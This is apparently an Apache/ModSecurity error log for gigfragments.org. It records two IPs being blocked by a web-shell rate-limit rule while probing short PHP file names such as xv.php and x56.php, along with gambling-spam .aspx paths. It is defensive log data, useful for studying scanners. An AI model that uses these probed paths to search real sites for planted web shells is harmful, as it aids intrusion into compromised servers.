[Wed Mar 04 09:39:01.128294 2026] [:error] [pid 18553:tid 18581] [client 52.252.56.196:12938] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaeNNWbax1neh8d0AHaxWQAAABE"]
[Wed Mar 04 09:39:02.109556 2026] [:error] [pid 18554:tid 18616] [client 51.75.116.205:42710] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaeNNp0fKmKeTIK7QS0xgQAAAFg"]
[Wed Mar 04 09:39:02.847468 2026] [:error] [pid 18554:tid 18597] [client 52.252.56.196:61869] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaeNNp0fKmKeTIK7QS0xhQAAAEU"]
[Wed Mar 04 09:39:04.011626 2026] [:error] [pid 18681:tid 18690] [client 51.75.116.205:42714] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaeNOKE_TuZYUBveWkXlswAAAMc"]
[Wed Mar 04 09:39:04.386901 2026] [:error] [pid 54487:tid 54509] [client 52.252.56.196:12510] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaeNOPN8030QMpFXddvEAwAAARQ"]
[Wed Mar 04 09:39:05.869334 2026] [:error] [pid 18553:tid 18567] [client 52.252.56.196:51338] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaeNOWbax1neh8d0AHaxYAAAAAM"]
[Wed Mar 04 09:39:05.936521 2026] [:error] [pid 18555:tid 18628] [client 51.75.116.205:42716] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaeNOTQeUDANiOsQ3GembwAAAIk"]
[Wed Mar 04 09:39:07.881791 2026] [:error] [pid 54487:tid 54491] [client 51.75.116.205:42726] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaeNO_N8030QMpFXddvECQAAAQI"]
[Wed Mar 04 09:39:09.695781 2026] [:error] [pid 18554:tid 18597] [client 52.252.56.196:52020] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaeNPZ0fKmKeTIK7QS0xlgAAAEU"]
[Wed Mar 04 09:39:09.811530 2026] [:error] [pid 18554:tid 18615] [client 51.75.116.205:50756] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaeNPZ0fKmKeTIK7QS0xlwAAAFc"]
[Wed Mar 04 09:39:11.878959 2026] [:error] [pid 18554:tid 18611] [client 51.75.116.205:50758] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaeNP50fKmKeTIK7QS0xnAAAAFM"]
[Wed Mar 04 09:39:13.956411 2026] [:error] [pid 18554:tid 18602] [client 51.75.116.205:50774] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaeNQZ0fKmKeTIK7QS0xoAAAAEo"]
[Wed Mar 04 09:39:14.545605 2026] [:error] [pid 18681:tid 18694] [client 52.252.56.196:52642] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaeNQqE_TuZYUBveWkXlygAAAMs"]
[Wed Mar 04 09:39:16.044819 2026] [:error] [pid 18555:tid 18624] [client 51.75.116.205:50790] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaeNRDQeUDANiOsQ3GemewAAAIU"]
[Wed Mar 04 09:39:17.300839 2026] [:error] [pid 18554:tid 18595] [client 52.252.56.196:51969] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaeNRZ0fKmKeTIK7QS0xqAAAAEM"]
[Wed Mar 04 09:39:17.977443 2026] [:error] [pid 18555:tid 18621] [client 51.75.116.205:50794] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaeNRTQeUDANiOsQ3GemfAAAAII"]
[Wed Mar 04 09:39:18.579124 2026] [:error] [pid 18681:tid 18704] [client 52.252.56.196:63474] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaeNRqE_TuZYUBveWkXl0QAAANU"]
[Wed Mar 04 09:39:19.585082 2026] [:error] [pid 18554:tid 18607] [client 52.252.56.196:51368] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaeNR50fKmKeTIK7QS0xrwAAAE8"]
[Wed Mar 04 09:39:20.085247 2026] [:error] [pid 18681:tid 18690] [client 51.75.116.205:33054] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaeNSKE_TuZYUBveWkXl0gAAAMc"]
[Wed Mar 04 09:39:22.000422 2026] [:error] [pid 54487:tid 54509] [client 51.75.116.205:33062] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaeNSfN8030QMpFXddvEXQAAARQ"]
[Wed Mar 04 09:39:22.671228 2026] [:error] [pid 18554:tid 18593] [client 52.252.56.196:48201] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaeNSp0fKmKeTIK7QS0xtAAAAEE"]
[Wed Mar 04 09:39:23.944709 2026] [:error] [pid 18554:tid 18601] [client 51.75.116.205:33074] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaeNS50fKmKeTIK7QS0xuAAAAEk"]
[Wed Mar 04 09:39:25.011335 2026] [:error] [pid 18555:tid 18623] [client 52.252.56.196:43767] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaeNTTQeUDANiOsQ3GemfgAAAIQ"]
[Wed Mar 04 09:39:26.042939 2026] [:error] [pid 54487:tid 54502] [client 51.75.116.205:33082] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaeNTvN8030QMpFXddvEeQAAAQ0"]
[Wed Mar 04 09:39:26.392734 2026] [:error] [pid 18553:tid 18583] [client 52.252.56.196:48173] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaeNTmbax1neh8d0AHaxbgAAABM"]
[Wed Mar 04 09:39:27.379845 2026] [:error] [pid 54487:tid 54498] [client 52.252.56.196:51356] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaeNT_N8030QMpFXddvEhAAAAQk"]
[Wed Mar 04 09:39:27.980106 2026] [:error] [pid 18555:tid 18630] [client 51.75.116.205:33092] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaeNTzQeUDANiOsQ3GemgwAAAIs"]
[Wed Mar 04 09:39:28.346946 2026] [:error] [pid 18555:tid 18635] [client 52.252.56.196:59093] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaeNUDQeUDANiOsQ3GemhAAAAJA"]
[Wed Mar 04 09:39:29.763077 2026] [:error] [pid 18553:tid 18569] [client 51.75.116.205:43410] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaeNUWbax1neh8d0AHaxdQAAAAU"]
[Wed Mar 04 09:39:30.060317 2026] [:error] [pid 54487:tid 54502] [client 52.252.56.196:61882] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaeNUvN8030QMpFXddvElgAAAQ0"]
[Wed Mar 04 09:39:30.665233 2026] [:error] [pid 54487:tid 54499] [client 52.252.56.196:61871] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaeNUvN8030QMpFXddvEmQAAAQo"]
[Wed Mar 04 09:39:31.305862 2026] [:error] [pid 54487:tid 54496] [client 52.252.56.196:51348] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaeNU_N8030QMpFXddvEngAAAQc"]
[Wed Mar 04 09:39:31.831974 2026] [:error] [pid 54487:tid 54498] [client 51.75.116.205:43418] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaeNU_N8030QMpFXddvEpAAAAQk"]
[Wed Mar 04 09:39:32.446216 2026] [:error] [pid 18554:tid 18604] [client 52.252.56.196:49500] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaeNVJ0fKmKeTIK7QS0xzAAAAEw"]
[Wed Mar 04 09:39:33.176372 2026] [:error] [pid 18555:tid 18643] [client 52.252.56.196:52626] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaeNVTQeUDANiOsQ3GemiwAAAJg"]
[Wed Mar 04 09:39:33.814875 2026] [:error] [pid 54487:tid 54501] [client 51.75.116.205:43424] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaeNVfN8030QMpFXddvErwAAAQw"]
[Wed Mar 04 09:39:34.061104 2026] [:error] [pid 18554:tid 18614] [client 52.252.56.196:49498] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaeNVp0fKmKeTIK7QS0x0gAAAFY"]
[Wed Mar 04 09:39:34.815494 2026] [:error] [pid 18554:tid 18594] [client 52.252.56.196:12940] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaeNVp0fKmKeTIK7QS0x1wAAAEI"]
[Wed Mar 04 09:39:35.592992 2026] [:error] [pid 18554:tid 18604] [client 52.252.56.196:51384] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaeNV50fKmKeTIK7QS0x2gAAAEw"]
[Wed Mar 04 09:39:35.877671 2026] [:error] [pid 18554:tid 18595] [client 51.75.116.205:43432] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaeNV50fKmKeTIK7QS0x3AAAAEM"]
[Wed Mar 04 09:39:36.455353 2026] [:error] [pid 54487:tid 54508] [client 52.252.56.196:52634] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaeNWPN8030QMpFXddvEtgAAARM"]
[Wed Mar 04 09:39:37.686751 2026] [:error] [pid 54487:tid 54504] [client 51.75.116.205:43436] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaeNWfN8030QMpFXddvEvgAAAQ8"]
[Wed Mar 04 09:39:38.063623 2026] [:error] [pid 18681:tid 18692] [client 52.252.56.196:52617] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaeNWqE_TuZYUBveWkXl4QAAAMk"]
[Wed Mar 04 09:39:39.763780 2026] [:error] [pid 18681:tid 18694] [client 51.75.116.205:51694] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaeNW6E_TuZYUBveWkXl5AAAAMs"]
[Wed Mar 04 09:39:39.784990 2026] [:error] [pid 54487:tid 54507] [client 52.252.56.196:60405] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaeNW_N8030QMpFXddvEzAAAARI"]
[Wed Mar 04 09:39:41.037153 2026] [:error] [pid 18554:tid 18595] [client 52.252.56.196:52656] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaeNXZ0fKmKeTIK7QS0x6wAAAEM"]
[Wed Mar 04 09:39:41.673419 2026] [:error] [pid 54487:tid 54497] [client 51.75.116.205:51696] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaeNXfN8030QMpFXddvE4AAAAQg"]
[Wed Mar 04 09:39:41.794868 2026] [:error] [pid 54487:tid 54503] [client 52.252.56.196:51376] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaeNXfN8030QMpFXddvE4QAAAQ4"]
[Wed Mar 04 09:39:42.712553 2026] [:error] [pid 18553:tid 18572] [client 52.252.56.196:61833] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaeNXmbax1neh8d0AHaxggAAAAg"]
[Wed Mar 04 09:39:43.589969 2026] [:error] [pid 18554:tid 18594] [client 51.75.116.205:51706] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aaeNX50fKmKeTIK7QS0x8AAAAEI"]
[Wed Mar 04 09:39:45.371206 2026] [:error] [pid 18555:tid 18643] [client 51.75.116.205:51720] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aaeNYTQeUDANiOsQ3GemlAAAAJg"]
[Wed Mar 04 09:39:47.290970 2026] [:error] [pid 54487:tid 54507] [client 51.75.116.205:51734] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aaeNY_N8030QMpFXddvE-AAAARI"]
[Wed Mar 04 09:39:47.503358 2026] [:error] [pid 18681:tid 18683] [client 52.252.56.196:12480] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaeNY6E_TuZYUBveWkXl9QAAAMA"]
[Wed Mar 04 09:39:49.216940 2026] [:error] [pid 18554:tid 18592] [client 51.75.116.205:44394] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aaeNZZ0fKmKeTIK7QS0yBgAAAEA"]
[Wed Mar 04 09:39:51.126405 2026] [:error] [pid 18554:tid 18607] [client 51.75.116.205:44410] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aaeNZ50fKmKeTIK7QS0yCwAAAE8"]
[Wed Mar 04 09:39:51.589487 2026] [:error] [pid 54487:tid 54492] [client 52.252.56.196:49487] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaeNZ_N8030QMpFXddvFDgAAAQM"]
